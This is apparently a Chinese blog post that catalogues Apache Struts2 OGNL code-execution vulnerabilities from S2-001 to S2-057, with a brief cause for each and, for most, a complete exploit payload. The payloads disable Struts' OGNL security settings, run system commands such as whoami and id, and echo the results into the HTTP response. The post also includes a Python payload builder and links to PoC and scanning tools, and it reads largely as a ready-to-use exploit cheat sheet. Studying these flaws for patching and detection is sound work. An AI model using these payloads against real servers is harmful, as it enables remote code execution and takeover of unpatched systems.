Struts2代碼執(zhí)行漏洞整理

寫(xiě)這篇文章原因就想看看POC演化的過(guò)程
另外要是我看到了什么可以補(bǔ)充的東西會(huì)更新本文
更新時(shí)間 2019年6月9日

官方補(bǔ)丁歷史
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

ognl表達(dá)式相關(guān)

這里只是簡(jiǎn)單介紹,想要深入需要自己去搜索

  1. 普通表達(dá)式
<% ShoppingCart cart = (ShoppingCart)session.get("cart");
int id = cart.getId();%>
<%=id%>
  1. 文藝表達(dá)式 <%=((shoppingCart)session.get("cart")).getId() %>
  2. ognl表達(dá)式 #session.cart.id

三要素

  • 表達(dá)式:是整個(gè)OGNL的核心,是自根對(duì)象被訪問(wèn)對(duì)象某個(gè)鏈?zhǔn)讲僮?/strong>的字符串表示。
  • root:針對(duì)根對(duì)象(Root Object)的操作。在表達(dá)式規(guī)定了“干什么”以后,你還需要指定到底“對(duì)誰(shuí)干”。
  • context:將規(guī)定OGNL的操作“在哪里干”。
    OGNL執(zhí)行上下文環(huán)境,有request、session、application 、parameters、value stack、attr

$:在配置文件、國(guó)際化資源文件中引用OGNL表達(dá)式
#:訪問(wèn)上下文非root對(duì)象,相當(dāng)于ActionContext.getContext()
@:訪問(wèn)靜態(tài)屬性、靜態(tài)方法
%:強(qiáng)制(輸出)內(nèi)容為OGNL表達(dá)式

表達(dá)式功能清單
本段來(lái)自于烏云drops

  1. 基本對(duì)象樹(shù)的訪問(wèn)
    對(duì)象樹(shù)的訪問(wèn)就是通過(guò)使用點(diǎn)號(hào)將對(duì)象的引用串聯(lián)起來(lái)進(jìn)行。
    例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
  2. 對(duì)容器變量的訪問(wèn)
    對(duì)容器變量的訪問(wèn),通過(guò)#符號(hào)加上表達(dá)式進(jìn)行。
    例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  3. 使用操作符號(hào)
    OGNL表達(dá)式中能使用的操作符基本跟Java里的操作符一樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,還能使用mod, in, not in等。
  4. 容器、數(shù)組、對(duì)象
    OGNL支持對(duì)數(shù)組ArrayList等容器的順序訪問(wèn):例如:group.users[0]
    同時(shí),OGNL支持對(duì)Map的按鍵值查找:
    例如:#session['mySessionPropKey']
    不僅如此,OGNL還支持容器的構(gòu)造的表達(dá)式:
    例如:{"green", "red", "blue"}構(gòu)造一個(gè)List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構(gòu)造一個(gè)Map
    你也可以通過(guò)任意類(lèi)對(duì)象的構(gòu)造函數(shù)進(jìn)行對(duì)象新建:
    例如:new Java.net.URL("xxxxxx/")
  5. 對(duì)靜態(tài)方法或變量的訪問(wèn)
    要引用類(lèi)的靜態(tài)方法和字段,他們的表達(dá)方式是一樣的@class@member或者@class@method(args)
    例如:@com.javaeye.core.Resource@ENABLE,@java.lang.String@format('foo %s','bar')
  6. 方法調(diào)用
    類(lèi)似Java,甚至可以傳遞參數(shù)。如objName.methodName(#parameter)
  7. 投影和選擇
    OGNL支持類(lèi)似數(shù)據(jù)庫(kù)中的投影(projection) 和選擇(selection)。
    • 投影就是選出集合中每個(gè)元素的相同屬性組成新的集合,類(lèi)似于關(guān)系數(shù)據(jù)庫(kù)的字段操作。投影操作語(yǔ)法為collection.{XXX},其中XXX是這個(gè)集合中每個(gè)元素的公共屬性
      例如:group.userList.{username}將獲得某個(gè)group中的所有user的name的列表。
    • 選擇就是過(guò)濾滿足selection條件的集合元素,類(lèi)似于關(guān)系數(shù)據(jù)庫(kù)的紀(jì)錄操作。選擇操作的語(yǔ)法為:collection.{X YYY},其中X 是一個(gè)選擇操作符,后面則是選擇用的邏輯表達(dá)式。而選擇操作符有三種:
      ? 選擇滿足條件的所有元素
      ^ 選擇滿足條件的第一個(gè)元素
      $ 選擇滿足條件的最后一個(gè)元素
      如:group.userList.{? #txxx.xxx != null}將獲得某個(gè)group中user的name不為空的user的列表。
注入點(diǎn) 代碼寫(xiě)法
request參數(shù)名、cookie名 (ognl)(constant)=value&(constant)((ognl1)(ognl2))
request參數(shù)值 %{ognl} ${ognl} 'ognl' (ognl)
request的filename %{ognl} ${ognl}
request的url /%{ognl}.action /${ognl}.action
request的content-type %{ognl} ${ognl}

示例代碼
get方式,調(diào)用對(duì)象的靜態(tài)方法執(zhí)行命令

OgnlContext context = new OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot());

set方式,new一個(gè)對(duì)象調(diào)用方法執(zhí)行命令

OgnlContext context = new OgnlContext();
Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());

struts2框架執(zhí)行流程

可以看這個(gè) https://blog.csdn.net/wjw0130/article/details/46371847

S2-001

該漏洞因?yàn)橛脩籼峤?strong>表單數(shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值使用 OGNL 表達(dá)式 %{value} 進(jìn)行解析,然后重新填充到對(duì)應(yīng)的表單數(shù)據(jù)中。例如注冊(cè)或登錄頁(yè)面,提交失敗后端一般會(huì)默認(rèn)返回之前提交的數(shù)據(jù),由于后端使用 %{value} 對(duì)提交的數(shù)據(jù)執(zhí)行了一次 OGNL 表達(dá)式解析,所以可以直接構(gòu)造 Payload 進(jìn)行命令執(zhí)行

獲取web目錄

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),#response.flush(),
#response.close()}

執(zhí)行系統(tǒng)命令

%{
#a=(new java.lang.ProcessBuilder("whoami")).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#matt.getWriter().println(new java.lang.String(#e)),
#matt.getWriter().flush(),
#matt.getWriter().close()}

S2-003/S2-005

S2-003漏洞發(fā)生在請(qǐng)求參數(shù)名,Struts2框架會(huì)對(duì)每個(gè)請(qǐng)求參數(shù)名解析為OGNL語(yǔ)句執(zhí)行。
對(duì)于S2-003漏洞,官方通過(guò)增加安全配置(禁止靜態(tài)方法調(diào)用和類(lèi)方法執(zhí)行等)來(lái)修補(bǔ),繞過(guò)這個(gè)修復(fù)很簡(jiǎn)單,所以就有了S2-005。ognl表達(dá)式通過(guò)#來(lái)訪問(wèn)struts的對(duì)象,struts框架通過(guò)過(guò)濾#字符防止安全問(wèn)題,然而通過(guò)unicode編碼(\u0023)或8進(jìn)制(\43)即繞過(guò)了安全限制。

由于ONGL的調(diào)用可以通過(guò)http傳參來(lái)執(zhí)行,為了防止攻擊者以此來(lái)調(diào)用任意方法,Xwork設(shè)置了兩個(gè)參數(shù)來(lái)進(jìn)行防護(hù):

  • OgnlContext的屬性 xwork.MethodAccessor.denyMethodExecution(默認(rèn)為真)
  • SecurityMemberAccess私有字段allowStaticMethodAccess(默認(rèn)為假)

獲取web目錄

('\43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))
&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
&(i97)(('\43xman.getWriter().println(\43req.getRealPath(%22\u005c%22))')(d))
&(i99)(('\43xman.getWriter().close()')(d))

執(zhí)行系統(tǒng)命令

('\43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
&(g)(('\43mycmd\75\'"+cmd+"\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))
&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))
&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))
&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
&(n)(('\43myout.getWriter().println(\43mystr)')(d))

S2-007

用戶輸入被當(dāng)作OGNL表達(dá)式解析,當(dāng)對(duì)用戶輸入進(jìn)行驗(yàn)證出現(xiàn)類(lèi)型轉(zhuǎn)換錯(cuò)誤時(shí)。如配置了驗(yàn)證規(guī)則<ActionName>-validation.xml時(shí),若類(lèi)型驗(yàn)證轉(zhuǎn)換出錯(cuò),后端默認(rèn)會(huì)將用戶提交的表單值通過(guò)字符串拼接,然后執(zhí)行一次OGNL表達(dá)式解析并返回。

'%2b(%23_memberAccess.allowStaticMethodAccess=true,
%23context["xwork.MethodAccessor.denyMethodExecution"]=false,
%23cmd="ifconfig",
%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),
%23data=new+java.io.DataInputStream(%23ret.getInputStream()),
%23res=new+byte[500],
%23data.readFully(%23res),
%23echo=new+java.lang.String(%23res),
%23out=@org.apache.struts2.ServletActionContext@getResponse(),
%23out.getWriter().println(%23echo))%2b'

S2-008

利用道理和S2-005差不多,只不過(guò)是在cookie名稱處注入,由于大多 Web 容器(如 Tomcat)對(duì) Cookie 名稱都有字符限制,一些關(guān)鍵字符無(wú)法使用使得這個(gè)點(diǎn)顯得比較雞肋,網(wǎng)上也并沒(méi)有相關(guān)分析介紹。

S2-009

漏洞利用點(diǎn)跟S2-003和S2-005類(lèi)似,利用OGNL表達(dá)式(1)(2),會(huì)執(zhí)行1的OGNL表達(dá)式,009構(gòu)造了的方法為test=(some OGNL 表達(dá)式)(1)&z[(test)(1)]=true
z[(test)(1)]=true,對(duì)struts2來(lái)說(shuō)是合法的參數(shù),但是(test)(1)會(huì)執(zhí)行上述說(shuō)的方法,test的值被帶入計(jì)算,造成命令執(zhí)行。

foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=+new+java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)
&z[(foo)('meh')]=true

foo參數(shù)值必須是action字符串變量,OGNL表達(dá)式被寫(xiě)入foo變量中,然后ParametersInterceptor攔截器在對(duì)第二參數(shù)名處理時(shí),會(huì)取出foo值并作為OGNL表達(dá)式解析執(zhí)行,造成遠(yuǎn)程代碼執(zhí)行漏洞。

S2-012

配置文件中,Action節(jié)點(diǎn)里的Result時(shí)使用了重定向類(lèi)型type=redirectAction,并且還使用${param_name}作為重定向變量,struts在獲取其值時(shí)會(huì)執(zhí)行OGNL表達(dá)式,從而造成命令執(zhí)行。

%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)
(#a=(new java.lang.ProcessBuilder('whoami')).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println('dbapp:'+new java.lang.String(#e)),
#matt.getWriter().flush(),#matt.getWriter().close())}

S2-013/S2-014

Apache Struts2的<s:a><s:url>標(biāo)簽都提供了一個(gè)includeParams屬性。此屬性允許使用的值包括none、get、all。當(dāng)該屬性被設(shè)置為get或all時(shí),Apache Struts2會(huì)將用戶提交的參數(shù)值作為Ognl表達(dá)式執(zhí)行。

a=${(#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('"+cmd+"').getInputStream(),
#b=new+java.io.InputStreamReader(#a),
#c=new+java.io.BufferedReader(#b),
#d=new+char[50000],
#c.read(#d),
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#out.println('dbapp:'+new java.lang.String(#d)),
#out.close())}

官方只限制了%{(#exp)}格式的OGNL執(zhí)行,因?yàn)檫€有%{#exp}形式,從而造成了S2-014。

S2-015

下述配置能讓我們?cè)L問(wèn)name.action時(shí)使用name.jsp來(lái)渲染頁(yè)面,但是在提取name并解析時(shí),對(duì)其執(zhí)行了OGNL表達(dá)式解析,所以導(dǎo)致命令執(zhí)行。

<action name="*" class="example.ExampleSupport">
    <result>/example/{1}.jsp</result>
</action>

還有需要說(shuō)明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新內(nèi)容中,刪除了SecurityMemberAccess類(lèi)中的setAllowStaticMethodAccess方法,因此在2.3.14.2版本以后都不能直接通過(guò)#_memberAccess['allowStaticMethodAccess']=true來(lái)修改其值達(dá)到重獲靜態(tài)方法調(diào)用的能力。

${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#m.setAccessible(true),
#m.set(#_memberAccess,true),
#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}

S2-016

DefaultActionMapper類(lèi)支持以action:redirect:、redirectAction:作為導(dǎo)航或是重定向前綴,但是這些前綴后面同時(shí)可以跟OGNL表達(dá)式,由于struts2沒(méi)有對(duì)這些前綴做過(guò)濾,導(dǎo)致命令執(zhí)行。

  • 獲取web路徑
redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#b=#a.getRealPath("/"),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#b),
#matt.getWriter().flush(),
#matt.getWriter().close()}
  • 執(zhí)行系統(tǒng)命令,執(zhí)行結(jié)果是回顯在URL中
redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
  • 執(zhí)行系統(tǒng)命令2,回顯在頁(yè)面
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get('co'+'m.ope'+'nsymph'+'ony.x'+'wor'+'k2.disp'+'atch'+'er.HttpSe'+'rvletRe'+'sponse'),
#matt.getWriter().println(new java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close()}

S2-019

屬于S2-008發(fā)布的第四個(gè)漏洞,也就是DebuggingInterceptor攔截器中的缺陷漏洞。需要開(kāi)啟開(kāi)發(fā)者模式<constant name="struts.devMode" value="true" />,傳入debug=command&expression = OGNL表達(dá)式,從而造成命令執(zhí)行漏洞。

debug=command&expression=
#a=(new java.lang.ProcessBuilder('whoami')).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#out.getWriter().println('dbapp:'+new java.lang.String(#e)),
#out.getWriter().flush(),#out.getWriter().close()

S2-020/S2-021

這兩個(gè)漏洞跟ognl的關(guān)系不大。利用成功了是代碼執(zhí)行,利用失敗了就是DOS。
附上個(gè)POC地址:https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/Struts2/S2-020_POC.py

S2-029

Struts2的標(biāo)簽庫(kù)使用OGNL表達(dá)式來(lái)訪問(wèn)ActionContext中的對(duì)象數(shù)據(jù)。為了能夠訪問(wèn)到ActionContext中的變量,Struts2將ActionContext設(shè)置為OGNL的上下文,并將OGNL的跟對(duì)象加入ActionContext中。
如下的標(biāo)簽就調(diào)用了OGNL進(jìn)行取值。
<p>parameters: <s:property value="#parameters.msg" /></p>
Struts2會(huì)解析value中的值,并當(dāng)作OGNL表達(dá)式進(jìn)行執(zhí)行,獲取到parameters對(duì)象的msg屬性。

這個(gè)漏洞利用,可以說(shuō)是非常難,漏洞的原理是二次OGNL表達(dá)式執(zhí)行。
建議閱讀 https://www.iswin.org/2016/03/20/Struts2-S2-029%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

這個(gè)回顯結(jié)果的代碼就跟上面的不太一樣了

#_memberAccess.allowPrivateAccess=true,
#_memberAccess.allowStaticMethodAccess=true,
#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#a=@java.lang.Runtime@getRuntime(),
#s=new java.util.Scanner(#a.exec('whoami').getInputStream()).useDelimiter('\\\\A'),
#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()

S2-032/S2-033/S2-037

前提開(kāi)啟動(dòng)態(tài)調(diào)用
<constant name="struts.enable.DynamicMethodInvocation" value="true" />

這三個(gè)漏洞都是抓住了DefaultActionInvocation中會(huì)把ActionProxy中的method屬性取出來(lái)放入到ognlUtil.getValue(methodName + "()" getStack().getContext(), action);方法中執(zhí)行OGNL表達(dá)式。

  • S2-032 前綴參數(shù)method:OGNL表達(dá)式的形式;
  • S2-033 通過(guò)actionName!method的方式,用OGNL表達(dá)式將method替換;
  • S2-037 通過(guò)actionName/id/methodName的方式,用OGNL表達(dá)式替換methodName。

所以這三個(gè)漏洞的POC是一樣的。需要放到URL中使用。

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#a=(new java.lang.ProcessBuilder(#parameters.a[0])).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get(#parameters.b[0]),
#matt.getWriter().println(#parameters.c[0]+new java.lang.String(#e)),
#matt.getWriter().flush(),
#matt.getWriter().close
&a=whoami&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=flag

S2-045/S2-046

S2-045漏洞和S2-046漏洞非常相似,都是由于報(bào)錯(cuò)信息可以包含OGNL表達(dá)式,并且被帶入了buildErrorMessage這個(gè)方法運(yùn)行,造成遠(yuǎn)程代碼執(zhí)行。
利用Jakarta插件,Content-Type需要包含multipart/form-data字段。

  • S2-045 將OGNL表達(dá)式注入到HTTP頭的Content-Type中;
  • S2-046 第一種是Content-Length的值的長(zhǎng)度超長(zhǎng)(注:未找到實(shí)例),第二種是Content-Dispositionfilename存在空字節(jié)。

POC中有個(gè):構(gòu)造鍵值對(duì)
回顯當(dāng)前路徑

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#context.setMemberAccess(#dm)))).
(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).
(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).
(#o.println(#path)).(#o.close())}

執(zhí)行命令。如果注入點(diǎn)是filename,需要末尾加\x00b

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))
).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

S2-048

漏洞的本質(zhì)原因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函數(shù)調(diào)用了getText函數(shù),這個(gè)函數(shù)會(huì)執(zhí)行ognl表達(dá)式,且是getText的輸入內(nèi)容是攻擊者可控的。

回顯命令執(zhí)行。POC跟S2-046一模一樣

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

推薦閱讀 根據(jù)官方公告去反推漏洞利用方式——s2-048漏洞分析

S2-052

跟ognl表達(dá)式無(wú)關(guān),Struts2 REST插件的XStream組件存在反序列化漏洞。略過(guò)。

S2-053

當(dāng)開(kāi)發(fā)者在Freemarker標(biāo)簽中使用如下代碼時(shí)<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />,F(xiàn)reemarker會(huì)將值當(dāng)做表達(dá)式進(jìn)行執(zhí)行,最后導(dǎo)致代碼執(zhí)行。

這個(gè)條件太少見(jiàn)了,囧
回顯命令執(zhí)行,又跟S2-045一樣的構(gòu)造

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

S2-057

Namespace用于將action分為邏輯上的不同模塊,可以有效避免action重名的情況。默認(rèn)namespace為空,當(dāng)所有namespace都找不到時(shí)才會(huì)在默認(rèn)namespace中尋找。
第一種情況:在struts.xml配置文件中,如果沒(méi)有為基礎(chǔ)xml配置中定義的result設(shè)置namespace,且上層<action>標(biāo)簽中沒(méi)有設(shè)置namespace或者是使用通配符namespace時(shí),則可能存在遠(yuǎn)程代碼執(zhí)行漏洞。
第二種情況:如果struts的url標(biāo)簽<s:url>中未設(shè)置value和action值,且關(guān)聯(lián)的action標(biāo)簽未設(shè)置或使用通配符namespace時(shí)可能會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
人話:當(dāng)訪問(wèn)action類(lèi)型為重定向redirect action,chain,postback時(shí),會(huì)根據(jù)url生成的namespace生成一個(gè)跳轉(zhuǎn)地址location, location會(huì)進(jìn)行 ognl 計(jì)算。

回顯命令執(zhí)行的POC跟S2-032很相似???

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

2.5.16版本Poc

$%7B(%23ct=%23request['struts.valueStack'].context).
(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).
(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(%23ou.setExcludedClasses('java.lang.Shutdown')).
(%23ou.setExcludedPackageNames('sun.reflect.')).
(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(%23ct.setMemberAccess(%23dm)).
(%23cmd=@java.lang.Runtime@getRuntime().exec('gnome-calculator'))%7D

OGNL的攻防簡(jiǎn)史

本段選自 淺析OGNL的攻防史

可以說(shuō)所有在對(duì)于OGNL的攻防全部都是基于如何使用靜態(tài)方法。Struts2的防護(hù)措施從最開(kāi)始的正則,到之后的黑名單,在保證OGNL強(qiáng)大功能的基礎(chǔ)上,將可能執(zhí)行靜態(tài)方法的利用鏈給切斷。在分析繞過(guò)方法時(shí),需要注意的有這么幾點(diǎn):

  • struts-defult.xml中的黑名單
  • com.opensymphony.xwork2.ognl.SecurityMemberAccess
  • Ognl

總之是越來(lái)越不好繞了。

相關(guān)工具

struts2漏洞演示環(huán)境
https://github.com/Medicean/VulApps/tree/master/s/struts2
Struts2全版本漏洞檢測(cè)工具
https://github.com/Lucifer1993/struts-scan
https://github.com/HatBoy/Struts2-Scan

參考
https://www.freebuf.com/vuls/168609.html
http://blog.0kami.cn/2017/01/13/old-Struts2-history-payload/
https://xz.aliyun.com/t/4607
https://www.freebuf.com/articles/web/33232.html
https://blog.csdn.net/u013224189/article/details/81091874
https://superxiaoxiong.github.io/2018/09/03/s2-057/#struts2-5-系列
http://drops.xmd5.com/static/drops/papers-340.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容